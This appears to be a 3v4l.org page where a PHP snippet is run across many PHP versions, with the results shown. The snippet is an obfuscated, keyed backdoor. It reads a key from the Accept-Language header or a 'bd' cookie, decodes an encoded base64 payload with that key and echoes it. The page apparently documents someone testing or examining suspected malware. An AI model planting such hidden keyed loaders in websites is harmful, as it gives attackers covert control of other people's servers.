3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<? if(preg_match("%([a-f0-9]{32})%iU",$_SERVER['HTTP_ACCEPT_LANGUAGE'],$tmp)) {$key=$tmp[1];}elseif($_COOKIE['bd']){$key=$_COOKIE['bd'];} if($key){$qev=base64_decode("z8xYXlWSqaiMv13U3FfCXazJrZSfiV3DeqeKj1vWql5dKaHjRUCamYKLXMOGsreEwFui3F6QXNye2pTOXliTtYGKVFuN17Bdjlyd4EVun8mEWImTgbOKh46Iqspav1ZaWoVWllBPubqTXaKqicBh31rJ223Lo6HJpVtXwImzhraRW6XLWZQsJ92NYXGXqtTMrMleh8qnkVRVw4eChrWUi6TZXZFdoJiabG/Zy2Bal6qLnrVxQMzKUI1YkLSGhoe8YNWWyF2RVItYVyRftrWLioxa08asi5OM35PUpKqMW5KDsIy4jomnl5qMj2MgJMW2h4mFjonUm9hdwI1r4g==");$l=strlen($qev);$ll=strlen($key);$c=0;$i=0;for($i=0;$i<$l;$i++){$qev[$i]=chr(ord($qev[$i])-ord($key[$c]));if($ll<$c++){$c=0;}} echo($qev);} ?>
Output for 5.4.0 - 7.1.0
Notice: Undefined index: HTTP_ACCEPT_LANGUAGE in /in/roodp on line 2 Notice: Undefined index: bd in /in/roodp on line 3 Notice: Undefined variable: key in /in/roodp on line 5
Output for 4.3.0 - 5.3.29
<? if(preg_match("%([a-f0-9]{32})%iU",$_SERVER['HTTP_ACCEPT_LANGUAGE'],$tmp)) {$key=$tmp[1];}elseif($_COOKIE['bd']){$key=$_COOKIE['bd'];} if($key){$qev=base64_decode("z8xYXlWSqaiMv13U3FfCXazJrZSfiV3DeqeKj1vWql5dKaHjRUCamYKLXMOGsreEwFui3F6QXNye2pTOXliTtYGKVFuN17Bdjlyd4EVun8mEWImTgbOKh46Iqspav1ZaWoVWllBPubqTXaKqicBh31rJ223Lo6HJpVtXwImzhraRW6XLWZQsJ92NYXGXqtTMrMleh8qnkVRVw4eChrWUi6TZXZFdoJiabG/Zy2Bal6qLnrVxQMzKUI1YkLSGhoe8YNWWyF2RVItYVyRftrWLioxa08asi5OM35PUpKqMW5KDsIy4jomnl5qMj2MgJMW2h4mFjonUm9hdwI1r4g==");$l=strlen($qev);$ll=strlen($key);$c=0;$i=0;for($i=0;$i<$l;$i++){$qev[$i]=chr(ord($qev[$i])-ord($key[$c]));if($ll<$c++){$c=0;}} echo($qev);} ?>